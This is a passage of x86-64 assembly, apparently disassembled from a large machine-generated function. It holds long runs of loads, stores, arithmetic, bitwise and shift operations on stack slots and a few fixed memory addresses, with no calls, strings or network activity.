sub eax, ecx
mov rcx, qword [rsp + 0x6028]
mov byte [rcx], al
lea rax, [rsp + 0x7aa0]
mov qword [rsp + 0x7f98], rax
mov rax, qword [rsp + 0x6940]
mov ecx, dword [rsp + 0x2b2c]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x2fd0], eax
mov rax, qword [rsp + 0x5248]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x5c78]
mov qword [rsp + 0x7fa0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x7fa0]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x2d9c], eax
lea rax, [rsp + 0x77a0]
mov qword [rsp + 0x7fa8], rax
movzx eax, byte [rsp + 0x10d]
movzx ecx, byte [rsp + 0x58]
xor eax, ecx
mov byte [rsp + 0x90], al
lea rax, [0x140114380]
mov qword [0x140114820], rax
lea rax, [rsp + 0xcac]
mov qword [rsp + 0x7fb0], rax
movzx eax, word [rsp + 0xde0]
mov rcx, qword [rsp + 0x5bb8]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x880], ax
movsx eax, byte [rsp + 0x18b]
mov rcx, qword [0x140114618]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x61], al
lea rax, [rsp + 0x920]
mov qword [rsp + 0x7fb8], rax
mov rax, qword [rsp + 0x6b28]
mov rcx, qword [rsp + 0x7bc8]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x7530], rax
mov rax, qword [rsp + 0x4f50]
mov eax, dword [rax]
mov dword [rsp + 0x30e8], eax
mov rax, qword [rsp + 0x74a0]
mov rcx, qword [rsp + 0x6e08]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x6cf0], rax
mov rax, qword [rsp + 0x65b0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2e14]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5198]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5f18]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x6cf8]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [0x1401147c8]
mov byte [rcx], al
movzx eax, word [rsp + 0xdb0]
mov word [rsp + 0xeb0], ax
movsx eax, byte [rsp + 0x30]
mov rcx, qword [rsp + 0x5be0]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x151], al
lea rax, [rsp + 0xed]
mov qword [rsp + 0x7fc0], rax
movsx eax, word [rsp + 0xbdc]
mov rcx, qword [rsp + 0x75f0]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xa38], ax
lea rax, [rsp + 0x4fb0]
mov qword [rsp + 0x7fc8], rax
mov eax, dword [rsp + 0x2fb4]
mov ecx, dword [rsp + 0x3094]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2f6c], eax
mov rax, qword [rsp + 0x5488]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7080]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x7e50], rax
lea rax, [rsp + 0x2c58]
mov qword [rsp + 0x7fd0], rax
mov rax, qword [rsp + 0x6820]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x107]
add eax, ecx
mov rcx, qword [0x1401143d0]
mov byte [rcx], al
movzx eax, byte [rsp + 0x13c]
mov rcx, qword [rsp + 0x5ac8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xe2], al
mov rax, qword [rsp + 0x7d98]
movzx eax, word [rax]
mov word [rsp + 0xeb4], ax
mov rax, qword [rsp + 0x71d8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x8b8]
sub eax, ecx
mov word [rsp + 0xe14], ax
movsx eax, word [rsp + 0xae4]
movsx ecx, word [rsp + 0xa78]
shl eax, cl
mov rcx, qword [rsp + 0x5a10]
mov word [rcx], ax
mov rax, qword [rsp + 0x6b90]
mov rax, qword [rax]
mov qword [rsp + 0x7fd8], rax
mov rax, qword [rsp + 0x7540]
mov ecx, dword [rsp + 0x2a88]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x2dac], eax
lea rax, [rsp + 0x5df8]
mov qword [rsp + 0x7fe0], rax
mov rax, qword [rsp + 0x5198]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x5378]
mov qword [rsp + 0x7fe8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x7fe8]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x2d8c], eax
lea rax, [rsp + 0xc80]
mov qword [0x140114828], rax
movzx eax, byte [rsp + 0xf4]
mov rcx, qword [rsp + 0x5308]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x112], al
movzx eax, word [rsp + 0xa84]
mov word [rsp + 0xeb8], ax
movsx eax, byte [rsp + 0x18c]
movsx ecx, byte [rsp + 0x4b]
and eax, ecx
mov byte [rsp + 0xf1], al
mov rax, qword [rsp + 0x65f0]
movzx eax, byte [rax]
mov byte [rsp + 0x1a1], al
mov rax, qword [rsp + 0x6910]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2bc0]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x55d8]
mov dword [rcx], eax
mov rax, qword [0x140113008]
mov qword [rsp + 0x7ff0], rax
mov rax, qword [rsp + 0x7be8]
mov ecx, dword [rsp + 0x2e70]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x67a8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6cd0]
mov rcx, qword [rsp + 0x5350]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x7168], rax
mov rax, qword [rsp + 0x6138]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x71a0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [0x14011304a], al
mov rax, qword [rsp + 0x65a8]
movzx eax, word [rax]
mov word [rsp + 0xebc], ax
movsx eax, byte [rsp + 0x146]
movsx ecx, byte [rsp + 0x182]
sub eax, ecx
mov rcx, qword [rsp + 0x56e0]
mov byte [rcx], al
lea rax, [rsp + 0xdc4]
mov qword [rsp + 0x7ff8], rax
movzx eax, word [rsp + 0x954]
movzx ecx, word [rsp + 0x848]
sub eax, ecx
mov word [rsp + 0xd84], ax
mov rax, qword [rsp + 0x5008]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7868]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x4ef8], rax
lea rax, [rsp + 0x6998]
mov qword [rsp + 0x8000], rax
mov rax, qword [rsp + 0x6aa8]
mov ecx, dword [rsp + 0x2d98]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x5fb0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x70f0]
mov eax, dword [rax]
mov dword [rsp + 0x30ec], eax
mov rax, qword [rsp + 0x6ee8]
movzx eax, byte [rax]
mov byte [0x140114286], al
mov rax, qword [rsp + 0x55c0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x8b4]
shl eax, cl
mov word [rsp + 0x868], ax
mov rax, qword [rsp + 0x5da8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x72b0]
movsx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x79c8]
mov word [rcx], ax
movzx eax, byte [rsp + 0x59]
mov byte [rsp + 0x1a2], al
movsx eax, byte [rsp + 0xa4]
mov rcx, qword [rsp + 0x74c0]
movsx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x5c30]
mov byte [rcx], al
mov rax, qword [rsp + 0x6800]
mov qword [rsp + 0x8008], rax
mov rax, qword [rsp + 0x7dc0]
mov ecx, dword [rsp + 0x2db4]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x2f54], eax
mov eax, dword [rsp + 0x2a98]
mov ecx, dword [rsp + 0x2cdc]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5770]
mov dword [rcx], eax
lea rax, [rsp + 0x76c8]
mov qword [rsp + 0x8010], rax
movzx eax, byte [rsp + 0x13c]
mov rcx, qword [0x140114288]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x1401130a3], al
movzx eax, word [rsp + 0x870]
mov rcx, qword [rsp + 0x6530]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x6fc8]
mov word [rcx], ax
mov rax, qword [rsp + 0x5fe8]
movzx eax, byte [rax]
mov byte [rsp + 0x1a3], al
movsx eax, byte [0x14011309f]
mov rcx, qword [rsp + 0x5d88]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x8e], al
mov rax, qword [rsp + 0x77e0]
movzx eax, word [rax]
mov word [rsp + 0xec0], ax
mov rax, qword [rsp + 0x59c0]
mov rcx, qword [rsp + 0x4c90]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x7808], rax
mov rax, qword [rsp + 0x6848]
mov rax, qword [rax]
mov rcx, qword [0x140113008]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x7a08], rax
mov eax, dword [rsp + 0x2e88]
mov dword [rsp + 0x30f0], eax
mov eax, dword [rsp + 0x2cd4]
mov ecx, dword [rsp + 0x2c30]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x7a88]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5f78]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x69a0]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [0x140114688]
mov byte [rcx], al
movzx eax, word [rsp + 0x910]
mov word [rsp + 0xec4], ax
movzx eax, byte [rsp + 0xb6]
mov rcx, qword [rsp + 0x6878]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4cc0]
mov byte [rcx], al
mov rax, qword [0x1401144f0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x6188]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x8c0], ax
lea rax, [rsp + 0x988]
mov qword [rsp + 0x8018], rax
mov rax, qword [rsp + 0x6ea0]
mov ecx, dword [rsp + 0x2b38]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x2c1c], eax
lea rax, [rsp + 0x68a0]
mov qword [rsp + 0x8020], rax
mov eax, dword [rsp + 0x2e84]
mov rcx, qword [rsp + 0x5140]
mov qword [rsp + 0x8028], rcx
movzx ecx, al
mov rax, qword [rsp + 0x8028]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x2de4], eax
mov rax, qword [rsp + 0x4f70]
movzx ecx, al
mov rax, qword [rsp + 0x66a8]
shl rax, cl
mov rcx, qword [rsp + 0x7ad8]
mov qword [rcx], rax
movzx eax, word [rsp + 0xc48]
mov word [rsp + 0xec8], ax
lea rax, [rsp + 0xab]
mov qword [0x140114830], rax
movsx eax, byte [rsp + 0x94]
movsx ecx, byte [rsp + 0x135]
xor eax, ecx
mov byte [rsp + 0x85], al
lea rax, [rsp + 0xb0c]
mov qword [rsp + 0x8030], rax
movsx eax, word [rsp + 0xb2c]
movsx ecx, word [rsp + 0xe9c]
and eax, ecx
mov rcx, qword [rsp + 0x6f58]
mov word [rcx], ax
mov eax, dword [rsp + 0x2d7c]
mov dword [rsp + 0x30f4], eax
mov rax, qword [0x140113008]
mov rcx, qword [rsp + 0x5ac0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x7a90], rax
mov rax, qword [rsp + 0x5a88]
mov rcx, qword [rsp + 0x7690]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x59f8], rax
mov rax, qword [rsp + 0x5c78]
mov eax, dword [rax]
mov dword [rsp + 0x30f8], eax
mov rax, qword [rsp + 0x6740]
movsx eax, byte [rax]
mov rcx, qword [0x140114810]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x7328]
mov byte [rcx], al
movzx eax, byte [rsp + 0x142]
mov rcx, qword [rsp + 0x51e0]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x14011307e], al
movzx eax, byte [rsp + 0xe4]
mov byte [rsp + 0x1a4], al
mov rax, qword [rsp + 0x50a0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xbdc]
sub eax, ecx
mov word [rsp + 0xa00], ax
mov rax, qword [rsp + 0x77e0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x5f80]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x854], ax
lea rax, [rsp + 0x30b0]
mov qword [rsp + 0x8038], rax
mov rax, qword [rsp + 0x57e8]
mov rcx, qword [rsp + 0x69d8]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x74b8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x7e28]
mov qword [rsp + 0x8040], rax
mov rax, qword [rsp + 0x6eb8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2e8c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2c58], eax
mov rax, qword [rsp + 0x6eb0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x6e]
sub eax, ecx
mov rcx, qword [rsp + 0x6078]
mov byte [rcx], al
movzx eax, byte [rsp + 0xbb]
movzx ecx, byte [rsp + 0xfa]
or eax, ecx
mov byte [0x1401141ba], al
movzx eax, word [rsp + 0xe1c]
mov word [rsp + 0xecc], ax
mov rax, qword [rsp + 0x6ed0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x5560]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0xd50], ax
movzx eax, word [rsp + 0xa00]
mov word [rsp + 0xed0], ax
mov rax, qword [rsp + 0x7280]
mov ecx, dword [rsp + 0x30ac]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x3040], eax
mov rax, qword [rsp + 0x7bb8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5ce8]
mov qword [rsp + 0x8048], rcx
movzx ecx, al
mov rax, qword [rsp + 0x8048]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x6730]
mov qword [rcx], rax
mov rax, qword [rsp + 0x7688]
mov rax, qword [rax]
mov qword [rsp + 0x8050], rax
mov rax, qword [rsp + 0x7d90]
mov ecx, dword [rsp + 0x2d38]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x5080]
mov dword [rcx], eax
lea rax, [rsp + 0x106]
mov qword [rsp + 0x8058], rax
movsx eax, byte [rsp + 0x110]
mov rcx, qword [rsp + 0x6768]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [0x1401130a6], al
movzx eax, word [rsp + 0xd7c]
movzx ecx, word [0x1401141bc]
sub eax, ecx
mov word [rsp + 0xcf8], ax
mov rax, qword [rsp + 0x6b60]
movzx eax, byte [rax]
mov byte [rsp + 0x1a5], al
movsx eax, word [rsp + 0xa30]
mov rcx, qword [rsp + 0x7ff8]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x61a8]
mov word [rcx], ax
movsx eax, byte [rsp + 0xd1]
mov rcx, qword [rsp + 0x5c60]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x5068]
mov byte [rcx], al
mov rax, qword [rsp + 0x5df0]
mov rax, qword [rax]
mov qword [rsp + 0x8060], rax
mov rax, qword [rsp + 0x6b58]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7648]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x5000], rax
lea rax, [rsp + 0x30d8]
mov qword [rsp + 0x8068], rax
mov rax, qword [rsp + 0x63c0]
mov ecx, dword [rsp + 0x2be8]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x2b08], eax
mov rax, qword [rsp + 0x6b20]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xc94]
and eax, ecx
mov rcx, qword [0x1401144c8]
mov word [rcx], ax
movzx eax, byte [rsp + 0x93]
mov rcx, qword [rsp + 0x6628]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x139], al
lea rax, [rsp + 0xd7c]
mov qword [rsp + 0x8070], rax
mov rax, qword [rsp + 0x4f88]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xdf]
or eax, ecx
mov byte [rsp + 0xaa], al
lea rax, [rsp + 0xd2c]
mov qword [rsp + 0x8078], rax
mov rax, qword [rsp + 0x5628]
movzx ecx, al
mov rax, qword [rsp + 0x67e8]
sar rax, cl
mov rcx, qword [rsp + 0x7d20]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4fb8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x2ebc]
shl eax, cl
mov dword [rsp + 0x2b90], eax
lea rax, [rsp + 0x6c28]
mov qword [rsp + 0x8080], rax
mov eax, dword [rsp + 0x3068]
mov ecx, dword [rsp + 0x2b40]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x2de4], eax
lea rax, [rsp + 0x67]
mov qword [0x140114838], rax
mov rax, qword [0x140114340]
movzx eax, byte [rax]
mov byte [rsp + 0x1a6], al
movsx eax, byte [rsp + 0x89]
movsx ecx, byte [rsp + 0xf2]
add eax, ecx
mov byte [rsp + 0xf5], al
mov rax, qword [rsp + 0x8018]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xbbc]
and eax, ecx
mov word [rsp + 0xcb0], ax
lea rax, [rsp + 0xc3c]
mov qword [rsp + 0x8088], rax
mov rax, qword [rsp + 0x66b0]
mov rcx, qword [rsp + 0x64a8]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x5800]
mov qword [rcx], rax
mov rax, qword [rsp + 0x5098]
mov rax, qword [rax]
mov qword [rsp + 0x8090], rax
mov eax, dword [rsp + 0x2a98]
mov ecx, dword [rsp + 0x2e50]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2b90], eax
mov rax, qword [rsp + 0x5378]
mov eax, dword [rax]
mov dword [rsp + 0x30fc], eax
movsx eax, byte [rsp + 0x6e]
movsx ecx, byte [rsp + 0x11c]
sub eax, ecx
mov byte [0x1401130a7], al
mov rax, qword [rsp + 0x5e58]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x6de8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xb04], ax
mov rax, qword [rsp + 0x6e78]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x4f]
add eax, ecx
mov byte [rsp + 0x54], al
lea rax, [rsp + 0xbc0]
mov qword [rsp + 0x8098], rax
mov rax, qword [0x140114350]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x990]
add eax, ecx
mov word [rsp + 0xac8], ax
mov eax, dword [rsp + 0x2ca4]
mov dword [rsp + 0x3100], eax
mov rax, qword [rsp + 0x7688]
mov rcx, qword [rsp + 0x78d8]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x67e8], rax
mov rax, qword [rsp + 0x6698]
mov rcx, qword [rsp + 0x5778]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x6e48]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6908]
mov rax, qword [rax]
mov qword [rsp + 0x80a0], rax
mov rax, qword [rsp + 0x65a8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x5088]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [0x140114388]
mov word [rcx], ax
movsx eax, byte [0x14011308f]
movsx ecx, byte [rsp + 0x4b]
xor eax, ecx
mov byte [rsp + 0x57], al
mov rax, qword [rsp + 0x5ac8]
movzx eax, byte [rax]
mov byte [rsp + 0x1a7], al
mov rax, qword [rsp + 0x6620]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x878]
or eax, ecx
mov rcx, qword [rsp + 0x5528]
mov word [rcx], ax
mov rax, qword [0x140114718]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x7ed8]
movzx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x6798]
mov byte [rcx], al
lea rax, [rsp + 0x2fb4]
mov qword [rsp + 0x80a8], rax
mov rax, qword [rsp + 0x7558]
mov ecx, dword [rsp + 0x2b14]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x2edc], eax
mov rax, qword [rsp + 0x7820]
mov rax, qword [rax]
mov qword [rsp + 0x80b0], rax
mov rax, qword [rsp + 0x7c10]
mov rcx, qword [rsp + 0x7308]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x57d8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6960]
movzx eax, word [rax]
mov word [0x140114840], ax
lea rax, [rsp + 0xf0]
mov qword [rsp + 0x80b8], rax
movzx eax, word [rsp + 0x984]
movzx ecx, word [rsp + 0x884]
and eax, ecx
mov word [rsp + 0x898], ax
mov rax, qword [rsp + 0x6cf8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x73d8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x184], al
movzx eax, byte [rsp + 0x3e]
mov byte [rsp + 0x1a8], al
mov rax, qword [rsp + 0x5b18]
mov ecx, dword [rsp + 0x2e94]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x2ee0], eax
mov rax, qword [rsp + 0x66f8]
mov rax, qword [rax]
mov qword [rsp + 0x80c0], rax
mov rax, qword [rsp + 0x5678]
mov rcx, qword [rsp + 0x63a8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x5ff8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6690]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2d54]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x30b4], eax
mov rax, qword [rsp + 0x5940]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xd68]
add eax, ecx
mov word [0x140113100], ax
lea rax, [rsp + 0xbac]
mov qword [rsp + 0x80c8], rax
mov rax, qword [rsp + 0x6508]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xc70]
sub eax, ecx
mov rcx, qword [rsp + 0x5208]
mov word [rcx], ax
mov rax, qword [rsp + 0x5458]
movzx eax, byte [rax]
mov byte [rsp + 0x1a9], al
mov rax, qword [rsp + 0x5b58]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x5c00]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xd84], ax
mov rax, qword [rsp + 0x7480]
mov rcx, qword [rsp + 0x7468]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2d4c], eax
lea rax, [rsp + 0x60a0]
mov qword [rsp + 0x80d0], rax
mov rax, qword [rsp + 0x61d8]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x6330]
shr rax, cl
mov qword [rsp + 0x6630], rax
mov rax, qword [rsp + 0x72f8]
mov eax, dword [rax]
mov dword [rsp + 0x3104], eax
movsx eax, byte [rsp + 0x135]
mov rcx, qword [rsp + 0x6518]
movsx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [0x140114470]
mov byte [rcx], al
movzx eax, byte [rsp + 0x132]
movzx ecx, byte [rsp + 0x1a2]
xor eax, ecx
mov byte [rsp + 0x18a], al
movsx eax, word [rsp + 0xea8]
movsx ecx, word [rsp + 0x96c]
shl eax, cl
mov word [rsp + 0xea0], ax
movzx eax, word [rsp + 0xd34]
mov word [rsp + 0xed4], ax
mov rax, qword [rsp + 0x7e60]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x7d28]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x98], al
mov rax, qword [rsp + 0x7260]
mov qword [rsp + 0x80d8], rax
mov rax, qword [rsp + 0x57b8]
mov rcx, qword [rsp + 0x5da0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x5680]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6368]
mov rax, qword [rax]
mov qword [rsp + 0x80e0], rax
mov rax, qword [rsp + 0x7f20]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2c34]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2ec0], eax
mov rax, qword [rsp + 0x5b58]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xb1c]
and eax, ecx
mov word [rsp + 0x9b4], ax
movzx eax, byte [rsp + 0x157]
mov rcx, qword [rsp + 0x7bb0]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x1401130aa], al
mov rax, qword [rsp + 0x6ee8]
movzx eax, byte [rax]
mov byte [rsp + 0x1aa], al
movsx eax, word [rsp + 0x95c]
mov rcx, qword [rsp + 0x6960]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x7270]
mov word [rcx], ax
lea rax, [rsp + 0x880]
mov qword [rsp + 0x80e8], rax
mov rax, qword [rsp + 0x7c00]
mov rcx, qword [rsp + 0x5178]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x64f8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x7cc8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2c28]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x7a70]
mov dword [rcx], eax
lea rax, [rsp + 0x2b7c]
mov qword [rsp + 0x80f0], rax
mov rax, qword [rsp + 0x5870]
mov rcx, qword [rsp + 0x7158]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6c48]
mov qword [rcx], rax
lea rax, [0x140113006]
mov qword [rsp + 0x80f8], rax
lea rax, [rsp + 0xbd8]
mov qword [0x140114848], rax
mov rax, qword [rsp + 0x6b18]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x173]
xor eax, ecx
mov rcx, qword [rsp + 0x6768]
mov byte [rcx], al
movsx eax, word [rsp + 0xe7c]
mov rcx, qword [rsp + 0x69c8]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0xb08], ax
movzx eax, word [rsp + 0x9f4]
mov word [rsp + 0xed8], ax
mov rax, qword [rsp + 0x5f38]
movzx ecx, al
mov rax, qword [rsp + 0x6d50]
shr rax, cl
mov rcx, qword [rsp + 0x54e0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x54c8]
mov qword [rsp + 0x8100], rax
mov eax, dword [rsp + 0x2b48]
mov ecx, dword [rsp + 0x2b70]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x2bb0], eax
lea rax, [rsp + 0x2cb4]
mov qword [rsp + 0x8108], rax
mov rax, qword [rsp + 0x7e10]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x9dc]
and eax, ecx
mov rcx, qword [rsp + 0x6b08]
mov word [rcx], ax
movsx eax, byte [0x140113026]
mov rcx, qword [rsp + 0x5c60]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [0x1401143d0]
mov byte [rcx], al
mov rax, qword [rsp + 0x5968]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xe7c]
sub eax, ecx
mov word [rsp + 0xd28], ax
mov rax, qword [rsp + 0x5d88]
movzx eax, byte [rax]
mov byte [rsp + 0x1ab], al
movzx eax, byte [rsp + 0x18a]
movzx ecx, byte [rsp + 0xec]
add eax, ecx
mov byte [rsp + 0x5f], al
lea rax, [rsp + 0x7470]
mov qword [rsp + 0x8110], rax
mov rax, qword [rsp + 0x5f98]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5ed8]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x59d8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x5fb0]
mov ecx, dword [rsp + 0x2e7c]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x7568]
mov dword [rcx], eax
mov eax, dword [rsp + 0x2fe0]
mov dword [rsp + 0x3108], eax
movsx eax, word [rsp + 0xce4]
movsx ecx, word [0x1401142e4]
sub eax, ecx
mov rcx, qword [rsp + 0x75f0]
mov word [rcx], ax
mov rax, qword [rsp + 0x7590]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x7678]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x140114580], ax
lea rax, [rsp + 0xf9]
mov qword [rsp + 0x8118], rax
mov rax, qword [rsp + 0x51d0]
movzx eax, byte [rax]
mov rcx, qword [0x140114340]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x14b], al
movzx eax, byte [rsp + 0xb0]
movzx ecx, byte [rsp + 0xe8]
add eax, ecx
mov byte [rsp + 0xc0], al
movzx eax, word [rsp + 0x8cc]
mov word [rsp + 0xedc], ax
mov rax, qword [rsp + 0x4fc0]
mov rcx, qword [rsp + 0x5548]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x7220], rax
lea rax, [rsp + 0x2c00]
mov qword [rsp + 0x8120], rax
mov eax, dword [rsp + 0x2f08]
mov rcx, qword [rsp + 0x7030]
mov qword [rsp + 0x8128], rcx
movzx ecx, al
mov rax, qword [rsp + 0x8128]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x2f94], eax
mov rax, qword [rsp + 0x6bf8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6350]
mov qword [rsp + 0x8130], rcx
movzx ecx, al
mov rax, qword [rsp + 0x8130]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x6590]
mov qword [rcx], rax
lea rax, [rsp + 0x5e]
mov qword [0x140114850], rax
mov rax, qword [rsp + 0x66d0]
movzx eax, byte [rax]
mov byte [rsp + 0x1ac], al
mov rax, qword [rsp + 0x6ba0]
movsx eax, word [rax]
movsx ecx, word [0x140113100]
or eax, ecx
mov word [rsp + 0xd5c], ax
lea rax, [rsp + 0x37]
mov qword [rsp + 0x8138], rax
mov rax, qword [rsp + 0x7228]
